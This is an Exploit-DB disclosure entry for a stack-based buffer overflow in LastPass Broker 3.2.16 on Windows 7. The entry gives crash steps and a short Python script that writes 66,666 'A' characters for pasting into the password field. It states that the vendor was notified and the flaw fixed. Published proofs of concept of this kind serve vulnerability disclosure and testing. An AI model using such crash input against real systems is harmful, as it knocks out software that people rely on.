Last PassBroker 3.2.16 - Stack-Based Buffer Overflow

2015-10-06T00:00:00
ID EDB-ID:38405
Type exploitdb
Reporter Un_N0n
Modified 2015-10-06T00:00:00

Description

Last PassBroker 3.2.16 - Stack-Based Buffer Overflow. Dos exploit for windows platform

                                        
                                            '''
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# Exploit Title: Last PassBroker Stack-based BOF
# Date: 9/23/2015
# Exploit Author: Un_N0n
# Software Link: https://lastpass.com/download
# Version: 3.2.16
# Tested on: Windows 7 x86(32 BIT)
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[Steps to Produce the Crash]:
1- open 'LastPassBroker.exe'.
2- A Input-Box will appear asking for Email and Password,
   In password field paste in the contents of crash.txt
3- Hit Login.
~Software will Crash.

[Code to produce crash.txt]: 
'''
junk = "A"*66666
file = open("CRASH.txt",'w')
file.write(junk)
file.close()

'''
> Vendor Notified, Fixed in latest Release.
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'''